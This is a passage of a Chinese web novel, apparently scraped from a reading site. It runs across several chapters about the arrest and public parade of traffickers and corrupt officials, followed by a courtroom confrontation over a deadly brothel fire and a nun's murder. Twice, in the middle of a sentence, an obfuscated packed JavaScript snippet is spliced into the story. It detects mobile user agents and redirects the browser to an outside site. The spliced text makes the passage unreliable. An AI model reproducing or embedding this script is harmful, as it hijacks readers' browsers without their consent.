王兆仁趴在地上,大口大口地喘着气。他被踹得不轻,半天爬不起来。等终于缓过劲来,他抬起头,看见赵斌正蹲在地上,一张张捡起那些信件。 王兆仁闭上眼,瘫软在地上。 赵斌站起身,拍了拍手上的灰,走到他面前,居高临下地看着他。 “王参军,”他说,声音里带着嘲讽,“烧得挺快啊。” 王兆仁睁开眼,看着他,嘴唇动了动,却说不出话来。 赵斌蹲下身,凑近他,压低声音道:“你以为烧了这些,就没人知道了?告诉你,水月庵那边已经招了。你哥哥那边也已经被拿了。你那个干爹崔琰,也快了。” 王兆仁的脸彻底白了。 赵斌站起身,一挥手:“带走。” 两个侍卫上前,把王兆仁拖了起来。他像一摊烂泥,被架着往外走。 走到门口时,他忽然回过头,看着那些散落一地的信件。火光还在跳动着,映出那些字迹。有他写给崔琰的密信,有崔琰写给他的指令,有那些年他们一起干的那些勾当的记载。 完了。 全完了。 他被押出宅门,押上囚车。夜风扑面而来,带着深秋的寒意。他打了个寒颤,抬头望向夜空。 月亮又圆又亮,清辉万里。 可他再也看不见了。 囚车缓缓驶动,往钦差行辕的方向而去。 与此同时,王大官人的宅邸那边,查抄还在继续。 长风站在前院,看着侍卫们一箱箱往外抬东西。金银、绸缎、古玩、字画——每一样,都是民脂民膏。 他忽然想起方才范氏那一幕,心里涌起一股说不清的复杂情绪。那个妇人,忍了八年,就为了今天。她的儿子死了,她的心也死了,只剩下一腔恨意,支撑着她活到今天。 “头儿,”一个侍卫走过来,低声道,“后院那些妾室和丫头,怎么处置?” 长风想了想:“先登记造册,等郎主发落。” 侍卫应声去了。 长风站在院子里,环顾四周。这座曾经显赫一时的宅邸,此刻一片狼藉。那些雕梁画栋,那些花团锦簇,那些纸醉金迷,一夜之间,化为乌有。 长风抬头,月亮依旧又圆又亮,清辉洒满人间。 “头儿!”又一个侍卫跑过来,“那边传来消息,王兆仁也拿下了!” 长风精神一振:“好!收队!” 他最后看了一眼这座宅邸,转身大步离去。 囚车辚辚,在夜色中渐行渐远。 归平县的这一夜,注定要被人记住很久。 两路人马,两条战线,同时收网。王大官人、王兆仁兄弟,同日被擒。那些账本、那些信件、那些人证,全部落入钦差手中。 那些被拐卖的女子,终于可以沉冤昭雪。 那些死去的人,终于可以瞑目。 81. 第81章 囚车过处 天还没亮透,菰城城门口就已经聚满了人。卖菜的挑着担子挤在路边,茶楼的伙计搬出长凳让客人站着看,连平日里不出门的老阿婆都拄着拐杖出来了,颤巍巍地站在人群后头,伸长脖子往城门方向望。 “来了来了!” 不知是谁喊了一声,人群顿时骚动起来。所有人都踮起脚尖,往城门洞望去。 晨光里,一队人马缓缓驶入城门。 最前面是两排青衣劲装的侍卫,腰悬长刀,面容冷峻。他们身后,是五辆囚车,一字排开,每辆囚车里都关着一个人。 “老哥,这帮犯众从何处运来啊?”有不明白的问看热闹的人。 “听说从归平县押解来的呢?”旁边有人插话。 “听说钦差要亲自审理此案。” “当真,这些人犯了甚事?恁大阵仗?” ”杀人啊!听说和一个比丘尼有关呢!” “杀人?天爷!造孽啊!” 随着人群的议论,第一辆囚车过来了,是水仙姑。 她依旧穿着那身灰扑扑的僧袍,头发散乱,脸上带着伤——那是昨夜被押解途中试图逃跑时,被侍卫制住时留下的。可即便如此,她依旧抬着头,用那双阴鸷的眼睛扫视着围观的人群。那目光冷得像毒蛇,被她扫到的人,都不由自主地往后退了一步。 “呸!这个妖尼姑!”人群里有人啐了一口,“听说她害死了不少人!” “可不嘛!水月庵的事你们听说了没?后山挖出好几具尸骨呢!” “造孽啊!出家人不念佛,倒害起人命来了!” 水仙姑听着那些议论,脸上没有表情。她的目光在人群中搜寻着什么,最后定在人群前方的一个角落里。 那里,站着许娇娇。 四目相对。 水仙姑的唇角微微勾起,露出一抹诡异的笑。那笑容像是在说:你以为你赢了?你以为这就结束了? 许娇娇迎着她的目光,没有躲闪,也没有愤怒。她只是静静看着这个女人,这个从她逃出水月庵那天起就一直在追杀她的女人,这个害死了尘师父、害死了无数无辜女子的女人。 如今,她终于被关在囚车里,像一头困兽,被游街示众。 可许娇娇心里,却没有想象中的快意。 第二辆囚车驶近,里面关着的是王大官人。 王兆贵此刻已经完全没了往日的威风。他趴在囚车里,头发披散,脸上青一块紫一块——那是昨夜被范氏打的,也是被抓时挣扎留下的。他身上的绸衫皱成一团,沾满了泥污和血迹,狼狈不堪。 “就是他!归平县的王大官人!”人群里有人认出了他,“听说他有十七八个妾,还抢人家闺女!” “呸!这种人就该千刀万剐!” “他兄弟呢?那个当官的兄弟呢?” 话音未落,第三辆囚车已经驶了过来。王兆仁坐在里面,垂着头,看不清表情。他比哥哥体面些,没有被绑着,只是双手戴着镣铐,低头望着自己的脚尖。 曾经高高在上的司户参军,此刻成了阶下囚。那些平日里见了他要点头哈腰的人,如今站在路边,指着他的脊梁骨骂。 “王参军,你也有今天啊!”一个粗豪的嗓音从人群中响起,“去年你霸占了我家三亩地,我去衙门告状,你让人把我打了出去!老天有眼啊!” 王兆仁依旧低着头,一动不动。 第四辆囚车里,是崔娘子。 她比前面几个都安静。没有抬头,没有挣扎,就那么蜷缩在囚车角落里,像一只受伤的兽。她的目光空洞地望着囚车的底板,不知在想些什么。 人群里有人小声议论:“这个是谁?” “听说是崔家那个,发运使干儿子的媳妇。” “她犯了什么事?” “谁知道呢……反正跟那些人有牵扯,能是什么好人?” 许娇娇看着崔娘子,心里涌起一股复杂的情绪。她知道崔娘子的故事——那个被逼着放火的可怜女人,那个曾经也是受害者的女子,如今也成了囚犯。 她想起昨夜,崔娘子跪在院门外,哭着说“我做不到”。那一刻,她至少还有一丝良知。可这一丝良知,救不了她。十年前那场大火,她手上已经沾了血。如今,该还的,终究要还。 第五辆囚车里,是静非。 她蜷缩在最里面,整个人抖得像筛糠。那些围观者的唾骂声、嘲笑声,像刀子一样扎在她身上。她不敢抬头,不敢看任何人,只敢把自己缩成一团,恨不得钻进地缝里去。 “这个我认得!”人群里有人喊,“她是水月庵的尼姑!我前年去上香,还见过她!” “也是个帮凶!听说那些女子就是她帮着骗来的!” “呸!什么出家人,比强盗还坏!” 一口浓痰飞过去,正落在静非脸上。她浑身一颤,却不敢擦,只把头埋得更低了。 囚车后面,还跟着一长串人。有王大官人府上的管事、账房,有水月庵剩下的那几个尼姑,还有几个平日里帮着跑腿的闲汉。一个个垂头丧气,被绳子串成一串,像一串蚂蚱。 人群越发拥挤了。有人往前挤,想看得更清楚些;有人往后退,嫌那些囚犯晦气;有人指指点点,议论纷纷;有人破口大骂,恨不得冲上去打人。 “让开让开!”几个差役在前面开道,好不容易才在人墙中挤出一条路来。 许娇娇站在人群前方的一块石阶上,旁边是静尘、静心和王氏。这个位置是长风一早安排好的。不高不低,能看清囚车,又不会被挤着。 “活该。” 王氏的声音从旁边传来。她盯着那几辆囚车,眼里满是解气的光。 “这些人,平日里作威作福,欺压百姓,买卖人口,害了多少人命!如今总算遭报应了!”她说着,往地上狠狠啐了一口,“呸!活该!” 静心站在一旁,眼圈有些红。她看着静非蜷缩的样子,想起那些年在庵里被她欺辱的日子,想起自己被关在地窖里的恐惧,想起那些被卖掉的女子绝望的眼神。 “活该。”她也跟着说了一句,声音很轻,却很坚定。 静尘没有说话。 她只是静静看着那些囚车,看着里面那些曾经不可一世的人,如今狼狈不堪的模样。她的目光落在第一辆囚车上,落在水仙姑身上。 水仙姑。那个害死她师父的人。那个让她逃亡八年的罪魁祸首。那个手上沾满了尘师父鲜血的凶手。 她以为看到这一幕,自己会高兴,会痛快,会忍不住拍手称快。可此刻,她心里涌起的,却是一种说不清的复杂情绪。 有释然。师父的仇,终于报了。 有悲哀。师父死了八年,尸骨才得以重见天日。 还有一丝……怜悯?不,不是怜悯。是对那些死去的人的悲悯,是对那些被糟蹋的生命的惋惜。水仙姑该死,可那些死了的人,再也回不来了。 “师姐。”许娇娇轻轻握住她的手。 静尘转过头,看着许娇娇。那张年轻的脸上,带着一种沉静的悲悯。她忽然明白,娇娇和自己一样,心里不是只有痛快,还有更多的沉重。 “我没事。”静尘轻声道,“就是……想起师父了。” 许娇娇握紧她的手,没有说话。 囚车继续缓缓前行。水仙姑的目光依旧在人群中游移,最后又一次落在许娇娇身上。那目光里,有恨,有不甘,还有一丝说不清的东西。 许娇娇迎着她的目光,忽然开口,声音不大,却足够让水仙姑听见。 “了尘师父在看着你。” 水仙姑的瞳孔猛地收缩。她张了张嘴,想说什么,却什么都说不出来。 囚车从许娇娇面前驶过,继续往前。水仙姑回过头,还想再看,却被人群挡住了视线。 许娇娇没有再看她。 第五辆囚车驶过,静非蜷缩在里面,始终没有抬头。她没有看见静尘和静心,也许看见了,却不敢认。 囚车队缓缓远去,往府衙的方向去了。人群渐渐散开,议论声却久久不息。 王氏忽然叹了口气:“唉,那个崔娘子……我见过她几回,看着挺和善的一个人,怎么也……” 许娇娇沉默片刻,轻声道:“也许她也是被逼的。” “被逼的?”王氏一愣,“被逼着杀人放火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381622|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 许娇娇没有解释。有些事,一两句话说不清楚。崔娘子有罪,这是毫无疑问的。可她也是受害者。十年前那场大火,她不过是个十三四岁的孩子,被人当成了棋子。 可这话说出来,又有多少人能懂? “走吧。”许娇娇转身,“囚车走了,咱们也该回去了。” 四人沿着街边往回走。路过一个茶摊时,卖茶的陈婆子认出了她们,招呼道:“许娘子,看热闹去了?那几个坏人抓着了,可算是老天开眼!” 许娇娇点了点头,微微一笑。 陈婆子又说:“听说是那个钦差天使亲自办的案?啧啧,那可真是个好官!咱们老百姓,就指着这样的官活呢!” 许娇娇的笑意深了些。她没有接话,只是点了点头,继续往前走。 走到巷口时,刘寡妇正站在自家门口,伸长脖子往外望。见她们回来,连忙迎上来。 “许娘子!静尘师父!静心师父!王婶子!你们可回来了!”她拉着许娇娇的手,眼眶都红了,“我听说了,那些坏人被抓住了!水月庵那个妖尼姑也抓住了!太好了!太好了!” 许娇娇握住她的手,轻声道:“刘大娘,没事了。” 刘寡妇抹着眼泪,连连点头:“好,好。往后你们可以安心过日子了。” 安心过日子。 许娇娇听着这句话,心里涌起一股暖流。是啊,水仙姑落网了,王大官人落网了,那些威胁她们的人,都进了大牢。往后,总算可以安心过日子了。 可她也知道,真正的大鱼,还没有落网。 崔琰。那个手掌江南漕运的大人物。那个和水仙姑、王大官人、王兆仁勾结了这么多年的人。他还在发运使的位置上坐着,还在等着消息。 他能等来什么? 许娇娇不知道。但她知道,裴宴不会放过他。 回到小院,静尘去烧水泡茶,静心去喂旺财,王氏坐在槐树下歇息。许娇娇一个人在屋里坐了片刻,忽然想起什么,从怀中取出那块令牌。 那是裴宴给她的。他说,若再有人欺负她,就亮出来。 如今,没有人能欺负她了。 可她却没有把令牌还回去。她也不知道为什么,就是舍不得。 令牌在掌心,冰凉的触感,却又莫名温热。她想起他站在大牢门口的背影,想起他说“必亲迎汝出”时的眼神,想起他在水月庵后山看着那些枯骨时沉默的样子。 许娇娇将令牌贴在心口,闭上眼,深深吸了一口气。 外面传来静尘的声音:“娇杏,茶好了。” 她睁开眼,将令牌小心收好,推门出去。 槐树下,四个人围坐在一起,喝着茶,说着话。阳光从树叶缝隙洒下来,在她们身上投下斑驳的光影。 “唉,那个崔娘子……”王氏又提起了她,“她家里还有个女儿吧?才十二三岁。她这一进去,那孩子怎么办?” 静尘沉默片刻,道:“听说她丈夫崔旺没有抓到,不见了。那孩子……怕是没人管了。” 许娇娇放下茶杯,轻声道:“会有办法的。” 王氏看着她:“什么办法?” 许娇娇没有回答。她也不知道有什么办法。但她知道,那个孩子是无辜的。就像当年的静心,就像那些被拐卖的女子,就像所有被这场罪恶牵连的无辜者。 总会有办法的。 日头渐渐升高,小院里渐渐热闹起来。刘寡妇端了一碟新腌的萝卜干过来,说是给她们下茶。隔壁李木匠家的媳妇也过来了,抱着孩子,说是孩子这几日有些咳嗽,想请许娘子看看。 许娇娇给孩子把了脉,开了个简单的方子,让那媳妇去张记抓药。那媳妇千恩万谢地走了。 送走她,许娇娇站在院门口,望着巷子深处。 那里,崔家的门紧紧闭着。 她想起昨夜,崔娘子跪在院门口,哭着说“我做不到”。想起她浑身发抖的样子,想起她眼中的绝望和挣扎。 那是一个被逼到绝路的母亲。 可那也是一条沾满了别人鲜血的路。 许娇娇收回目光,转身回了院子。 82. 第82章 公堂对质(一) 十月初八,立冬。 菰城府衙的大堂,今日格外肃穆。 两扇黑漆大门洞开,门楣上“明镜高悬”的匾额被擦拭得锃亮,在晨光中泛着威严的光。两班衙役手持水火棍,分列左右,个个挺胸凸肚,目光如炬。堂中央设着公案,案上摆放着签筒、印信、惊堂木,一切井井有条。 今日主审此案的,不是菰城知府,也不是归平知县,而是钦差行辕的法曹参军赵明远。 赵明远四十出头,生得白净面皮,三绺长须,看着像个温文儒雅的书生,实则办案二十余年,经手的案子没有一千也有八百,是裴宴从京城特意带来的得力干将。此刻他坐在公案后,身着青袍官服,面色沉静,目光扫过堂下,不怒自威。 公案左侧,设着一把太师椅。裴宴坐在那里,一身玄色常服,面容冷峻如常。他没有穿官袍,也没有坐主审之位,却没有人敢忽视他的存在。那双深邃的眼睛偶尔扫过堂下,便让人心头一凛。 堂下右侧,立着一人,正是皇城司察子首领赵斌。他今日没有佩刀,只穿着一身靛蓝劲装,腰间系着革带,抱臂站在一旁,看似闲散,实则一双眼睛如鹰隼般盯着在场每一个人。那些被押上堂的人犯,但凡有半分异动,他都能第一时间制住。 这是裴宴的安排。 赵明远主审,赵斌维持秩序,他自己旁听。不越俎代庖,却掌控全局。 堂外围满了人。今日开审的是震动江南的大案,从清早起就有百姓在府衙外等候,此刻已经里三层外三层,挤得水泄不通。有提着菜篮子的妇人,有抱着孩子的老汉,有穿着长衫的读书人,有短打装扮的脚夫。人人伸长脖子,踮起脚尖,往堂内张望。 “肃静——” 赵明远一拍惊堂木,堂内外顿时安静下来。 “带人犯。” 第一个被带上来的,是水仙姑。 她依旧穿着那身灰扑扑的僧袍,头发散乱,脸上带着伤。两个衙役押着她,推着她跪在堂下。她抬起头,扫了一眼堂上的人,目光在裴宴脸上停留片刻,随即移开,嘴角勾起一抹若有若无的冷笑。 第二个被带上来的,是崔娘子。 她比水仙姑狼狈得多。发髻散落,衣衫凌乱,脸上没有血色,嘴唇干裂,像是几天几夜没合眼。她被押着跪下时,整个人都在发抖,跪都跪不稳,晃了两晃,才勉强稳住身形。 后面紧接着王兆贵、王兆仁、静非、苟文书、那几个闹事的管事,一个接一个被押上来,黑压压跪了一地。 赵明远又一拍惊堂木,沉声道:“今日开审,是为审理归平县水月庵住持水仙姑,本名水娘。勾结地方豪强,戕害人命,略卖和诱妇女一案。另有归平县商人王兆贵、菰城司户参军王兆仁等人,涉嫌包庇纵容、同流合污、贪赃枉法等罪,一并审理。” 他顿了顿,目光落在水仙姑身上:“水氏,你可认罪?” 水仙姑抬起头,迎着他的目光,忽然笑了。那笑容阴恻恻的,让人心里发寒。 “认罪?”她慢悠悠地说,“贫尼犯了什么罪?大人倒是说说看。” 赵明远面色不变,只道:“你不认,本官就让你认。带证人。” 第一个被带上来的证人,是孙婆子。 她今日换了一身干净衣裳,头发梳得整整齐齐,由衙役搀着走上堂。虽然年过六旬,腿脚有些不便,可那双眼睛依旧精明。 “民妇孙氏,见过青天大老爷。”她跪下行礼。 赵明远道:“孙氏,将你所知之事,从实讲来。” 孙婆子点了点头,清了清嗓子,开口道:“民妇年轻时,在京城翠玉楼做了二十年茶水婆子。翠玉楼那地方,青天大老爷想必听说过,是京城最有名的勾栏。民妇在那里见惯了迎来送往,也见惯了那些达官贵人寻欢作乐。” 她的声音不高,却字字清晰,堂内外的人都听得清清楚楚。 “景和十年腊月二十三,小年夜。那晚,忠勤伯府的大公子戴明书来了翠玉楼,指名要头牌水娘作陪。水娘,就是如今跪在那里的她。”孙婆子抬手一指水仙姑,目光如炬,“那晚后来起了大火,烧死了二十三个人。水娘和戴明书,据说都死在了火里。” 水仙姑的脸色微微变了变,却依旧没有开口。 孙婆子继续说:“可民妇那晚逃出来时,亲眼看见一个人从角门跑出去——就是玉儿,水娘的贴身丫鬟。还有一个男人接应她,把她带走了。后来官府查案,说水娘死了,玉儿失踪了。可民妇一直觉得不对劲。” “哪里不对劲?”赵明远问。 孙婆子道:“那具说是水娘的焦尸,烧得太厉害了,根本认不出来。可水娘身边有个傻丫鬟叫随儿,那晚也不见了。民妇后来琢磨,说不定……死的是随儿,水娘扮成随儿跑了。” 堂下一片哗然。 赵明远一拍惊堂木,压下议论声,继续问:“你所言可有人证?” 孙婆子摇头:“人证没有,都死了。可民妇说的句句属实,若有半句假话,天打雷劈。” 赵明远点了点头,让她画押退下。 孙婆子走过水仙姑身边时,忽然停下脚步,低头看着她。 “水娘,”她轻声道,“二十年了,你从京城逃到江南,改了名换了姓,以为能躲过去?可老天有眼,该还的,总要还。” 水仙姑抬起头,迎着她的目光,忽然笑了。那笑容里满是嘲讽,看得孙婆子心头一凛。 “孙婆婆,”水仙姑轻声道,“你活得够久了。该闭嘴的时候,就该闭嘴。” 孙婆子脸色一变,还想说什么,却被衙役扶了下去。 赵明远又一拍惊堂木:“带下一位证人。” 第二个被带上来的,是崔娘子。 她跪在那里,浑身发抖,头都不敢抬。赵明远连问三遍,她才颤颤巍巍地抬起头,目光落在水仙姑身上。 水仙姑也正看着她。那目光冷得像毒蛇,带着威胁,带着嘲讽,还带着一丝说不清的意味。 “崔罗氏,”赵明远道,“本官问你,你可认得此人?” 崔娘子张了张嘴,好半天才发出声音:“认……认得。” “她是谁?” “她……”崔娘子的声音发抖,“她是水娘。京城翠玉楼的头牌,水娘。” 此言一出,堂下又是一阵骚动。 水仙姑的脸色彻底变了。她盯着崔娘子,眼中迸出恶毒的光。 “崔罗氏,”赵明远继续问,“你如何认得她?” 崔娘子的眼泪流了下来。她跪在那里,浑身抖得像筛糠,却一字一句地说道:“民妇……民妇当年在翠玉楼做丫鬟,伺候的就是水娘。民妇那时叫玉儿,是她的贴身丫鬟。” 堂下的议论声更大了。有人低声说:“两个尼姑,原来是京城勾栏里出来的!” 赵明远一拍惊堂木:“肃静!” 待堂下安静下来,他继续问:“那晚翠玉楼大火,你在何处?” 崔娘子的眼泪流得更凶了。她跪在那里,整个人像被抽去了骨头,软成一团。 “民妇……民妇……” “说!”赵明远一拍惊堂木,声音凌厉。 崔娘子浑身一颤,终于开口:“民妇那晚……点了……一把火。” 满堂哗然。 连赵明远都愣了一愣。他盯着崔娘子,沉声道:“你说什么?那场大火,是你放的?” 崔娘子点了点头,泪水模糊了她的视线。她跪在那里,像是被掏空了所有力气,声音沙哑得像破锣: “是民妇放的。民妇……民妇那晚在听雨轩门口倒了火油,点了火。” “为何放火?” 崔娘子抬起头,目光茫然地望着前方,像是在看什么很远很远的地方。 “因为……因为民妇恨。” “恨谁?” “恨老鸨。”崔娘子的声音渐渐平稳了些,可那平稳底下,是更深的绝望,“民妇八岁被卖进翠玉楼,在那里面活了六年。六年里,挨打挨骂是家常便饭,饿肚子是常有的事。那些姑娘们瞧不起民妇,老鸨拿民妇当牲口使。民妇想过逃,可逃不出去。想过死,又舍不得这条命。” 她顿了顿,继续说:“后来水娘挑中民妇做贴身丫鬟,民妇以为日子能好过些。可水娘比老鸨还难伺候,动辄打骂,稍有不顺就拿民妇出气。民妇那时候就想,什么时候能离开这个鬼地方,什么时候能过上人的日子。” 堂下静悄悄的,只有崔娘子的声音在回荡。 “后来……后来崔旺找到了民妇。” 赵明远目光一凝:“崔旺?可是崔琰的义子,你的丈夫?” 崔娘子点了点头:“是。他小时候和民妇是邻居,两家挨着住。后来他家败了,民妇家也败了,就失散了。他不知怎么打听到民妇在翠玉楼,就托人给民妇带话,说……说有办法救民妇出去。” “什么办法?” 崔娘子的声音更低了:“他说,只要民妇帮他做一件事,他就能救民妇出去,让民妇和他一起过日子,再也不受那些苦。” “什么事?” “放火。”崔娘子闭上眼,泪水顺着脸颊滑落,“他说腊月二十三那晚,戴明书会来翠玉楼,点水娘的牌子。只要民妇趁他们不注意,在门口倒上火油,点一把火,就能烧死戴明书。戴明书死了,忠勤伯府就乱了,没人会注意民妇,他就能把民妇接出去。” 堂下的议论声嗡嗡作响。有人骂“歹毒”,有人叹“可怜”,有人只是摇头。 赵明远沉声问:“你可知那晚烧死了多少人?” 崔娘子的身体剧烈地颤抖起来。她跪在那里,双手撑着地,头几乎埋进胸口。 “民妇……民妇后来才知道的。二十三个人……二十三条人命……” 她的声音哽咽得说不下去。 赵明远沉默片刻,又问:“你可知道,戴明书是什么人?为何要杀他?” 崔娘子点头又摇头:“民妇知道戴明书是忠勤伯府的衙内,为何要杀他,崔旺没有说,民妇也不敢问。民妇只知道,只要点那把火,就能离开那个鬼地方,就能过上人的日子。民妇……民妇那时候只有十四岁,什么都不懂,只知道恨,只想要逃……” 她忽然抬起头,泪流满面地看向赵明远:“大人,民妇知道错了!民妇这十多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385229|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,没有一夜不做噩梦,梦里全是那些惨叫的人,全是那场大火!民妇后悔,可后悔有什么用?人都死了,都死了……” 她哭得说不出话来。 堂下一片寂静。连那些原本骂骂咧咧的人,此刻也闭了嘴。 就在这时,一阵冷笑打破了寂静。 水仙姑跪在那里,看着崔娘子,笑得浑身发抖。 “好,好,好一出苦情戏。”她盯着崔娘子,眼中满是嘲讽,“玉娘,你哭得真好,说得真好。可你以为,哭几声,说几句后悔,就能把自己洗白了?” 崔娘子抬起头,看着水仙姑,眼中满是恐惧。 水仙姑慢慢直起身子,虽然跪着,可那姿态,倒像是在俯视她。 “你是被逼的,你是无辜的,你什么都不懂。放你娘的狗屁!”水仙姑的声音忽然拔高,尖厉得像夜枭,“十四岁怎么了?十四岁就该不懂事?十四岁就该放火杀人?我告诉你,罗玉娘,你比我狠多了!” 她转向赵明远,冷笑道:“大人,不用审了,我认。我就是当年的水娘,翠玉楼的头牌。那晚我没死,我扮成随儿跑了。你们要问为什么?因为我不想给戴明书那个畜生陪葬!那畜生折磨死多少女子,你们知道吗?他死一百回都便宜他了!” “那晚,他是醉着来的,到我房里时已经人事不省,我连一杯酒都没来得及给他灌。我正想着怎么把这摊烂肉弄出去,外头就乱了。”水仙姑的眼神变得飘忽,仿佛穿透了时光,回到了那个噩梦般的夜晚,“是随儿,那个粗使丫头,一头冲进来,拉着我就往外跑,喊着‘姑娘,着火了,救救我’。她吓坏了,手劲大得吓人,我怎么甩都甩不脱。” 她的声音忽然顿住,眼中闪过一抹复杂神色。 “火越来越大,烟已经灌进来了。随儿这个傻子,她拉着我,我还怎么逃。我抄起妆台上的铜香炉,照着她后脑勺砸了下去。”水仙姑说到这里脸上展出一抹残忍的笑:“这个傻子,做了我的替死鬼。我把她和戴明书那个畜生放在一处,做了一对死鬼鸳鸯......” 堂下顿时一阵骚动。 水仙姑继续说:“可罗玉娘呢?她放那把火,是因为恨老鸨,是因为想逃出去过好日子。可她想过没有,那火一点,烧死的不止是戴明书,还有那些无辜的人!翠玉楼上上下下几十口,还有那些狎客。” 崔娘子的脸色惨白如纸,整个人抖得像风中的落叶。 水仙姑看着她,忽然笑了。那笑容阴森森的,看得人脊背发寒。 “玉娘,这十多年你每夜做噩梦,梦见那些惨叫的人,对不对?你知道为什么吗?因为那些人就站在你身后,天天看着你!” 崔娘子猛地回头,什么都没有。可她浑身发抖,像是真的看见了什么。 水仙姑的笑声越来越大,越来越尖厉,在公堂上回荡。 “你以为你嫁了人,换了名字,就能从头来过了?你以为那些死去的人会放过你?做梦!你手上沾着二十三条人命,这辈子都洗不干净!” 崔娘子瘫软在地上,整个人像是被抽去了骨头。她的嘴唇哆嗦着,想说什么,却一个字都说不出来。 水仙姑跪在那里,笑得眼泪都流了出来。那笑声里,有疯狂,有绝望,还有一丝说不清的快意。 “罗玉儿,你就是个杀人犯!和我一样!不,你比我更狠!我至少是被逼的,你是心甘情愿的!你为了逃出去,为了和那个男人双宿双飞,你放了那把火!二十三条人命,你背得动吗?” “够了!” 赵明远一拍惊堂木,声音如雷。两个衙役上前,按住水仙姑,她才止住了笑。 可她的目光,依旧死死盯着崔娘子,那眼神,像是要把她生吞活剥。 崔娘子趴在地上,浑身发抖,泪水无声地流。她想辩解,想说自己不是心甘情愿的,想说自己也是被逼的,可那些话堵在喉咙里,一个字都说不出来。 因为水仙姑说的是真的。 那晚,崔旺跟她说,只要点一把火,就能救她出去,就能和她双宿双飞。她心动了。她真的心动了。她想着那些年受的苦,想着那些打骂,想着那些屈辱,想着终于能离开那个鬼地方,终于能过上人的日子—— 她就点了那把火。 她没有想过会烧死那么多人。她没有想过那些无辜的人。她只想逃出去,只想活下去,只想和崔旺在一起。 可那些人,真的死了。 二十三条人命。 她背不动,她也逃不掉。 公堂上一片死寂。 赵明远沉默片刻,缓缓开口:“崔氏,水氏所言,可是实情?” 崔娘子趴在地上,好半天才发出一声呜咽:“是……是实情。” 那声音轻得像蚊蝇,可在寂静的公堂上,每个人都听得清清楚楚。 赵明远点了点头,提起笔,在供状上写了几行字。 “画押。” 崔娘子颤颤巍巍地接过笔,在那张供状上画了押。她的手抖得厉害,那个押画得歪歪扭扭,像是她的人生,从一开始就歪了。 水仙姑跪在一旁,冷眼看着,嘴角始终挂着那抹诡异的笑。 83. 第83章 公堂对质(二) 水仙姑的笑声还在公堂上回荡,赵明远已经又一拍惊堂木。 “带下一个人犯——静非!” 静非被两个衙役拖了上来。她整个人缩成一团,浑身抖得像筛糠,跪下去时险些栽倒在地。从被押上堂的那一刻起,她就不敢抬头,不敢看任何人,只敢盯着自己的膝盖,嘴里念念有词,也不知在念叨什么。 “静非。”赵明远的声音从头顶压下来,“水氏杀害了尘一案,你可知情?” 静非浑身一颤,猛地抬起头。她的目光在堂上飞快地扫过。水仙姑跪在一旁,正用那双阴鸷的眼睛盯着她;崔娘子趴在地上,已经哭得没了声息;王兆贵跪在另一侧,脸上青一块紫一块,低着头不知在想什么。 静非的心猛地一缩。 “静非!”赵明远又一拍惊堂木,“本官问你话,还不从实招来!” 静非一个激灵,嘴唇哆嗦着,却说不出话来。 水仙姑在一旁冷笑:“招啊,你不是挺能说的吗?那夜你怎么帮我埋人的,怎么不敢说了?” 静非猛地转头看向她,眼中满是惊恐和哀求。可水仙姑根本不看她,只盯着堂上的赵明远,嘴角挂着那抹诡异的笑。 赵明远皱了皱眉,沉声道:“传证人静尘、许氏上堂。” 人群自动让开一条路。静尘深吸一口气,迈步走进公堂。许娇娇跟在她身后,一手轻轻扶着她的胳膊。 两人在堂下站定,向堂上行礼。 静尘今日穿了一身素净的灰布衣裳,头发梳得一丝不苟,脸上没有脂粉,却比往日多了几分沉静。她跪下去时,背脊挺得笔直,目光直直看向堂上的赵明远。 “民女静尘,见过青天大老爷。” 许娇娇也跟着跪下,却没有说话。她的目光在堂上扫过——水仙姑、静非、王兆贵、崔娘子,一张张脸,一个个跪在那里。曾经不可一世的人,如今都成了阶下囚。 她忽然想起一年多前,自己从水月庵后山逃出来时的狼狈模样。 如今,他们都在这里。 赵明远看着静尘,语气比方才温和了些:“静尘,将你所知之事,从实讲来。” 静尘点了点头,开口道:“民女本是水月庵比丘尼,师从了尘师父。了尘师父是水月庵前任住持,待民女如亲生女儿一般,教民女识字读经,教民女做人道理。” 她的声音不高,却字字清晰,带着一丝压抑不住的哽咽。 “八年前,水仙姑来到水月庵投奔师父,师父说水仙姑是她一个隔房的师妹,多年未见。水仙姑哭诉说在外难以生存,过不下去,求师父收留,让她在寺里做个带发修行的姑子,师父看在亲戚的情分上,答应了她。可师父万万没想到,她不知怎么和归平县的王大官人勾连,做起了略卖人口的勾当。师父发现后,痛心疾首,劝她回头,她不肯。师父说要报官,她便起了杀心。” 堂下一片寂静,只有静尘的声音在回荡。 “那日早上,贫尼亲眼看见的。”静尘的声音微微发抖,却依旧在说,“水仙姑给师父端了一杯茶,师父喝完就倒下了。” 她啜泣几声,继续说:“师父死后,水仙姑和静非把她的尸首埋在了后院那棵老歪脖子枣树下。八年了,整整八年,民女每一夜都梦见师父,梦见她瞪大的眼睛……” 她说不下去了,低下头,肩膀剧烈地颤抖。 许娇娇跪在她身旁,轻轻握住她的手。 赵明远沉默片刻,又问:“你所言,可有凭证?” 静尘抬起头,泪流满面,却目光坚定:“那棵枣树还在,树下埋着了尘师父的尸骨。师父身上穿的尼袍袖口的位置,有我绣的一朵小小莲花,当时我女红不精,师父还笑话我绣艺的难看,但师父却一直穿着这件尼袍。大人若不信,可派人去挖。八年的尸骨,骗不了人。” 赵明远点了点头,转向水仙姑:“水氏,静尘所言,可是实情?” 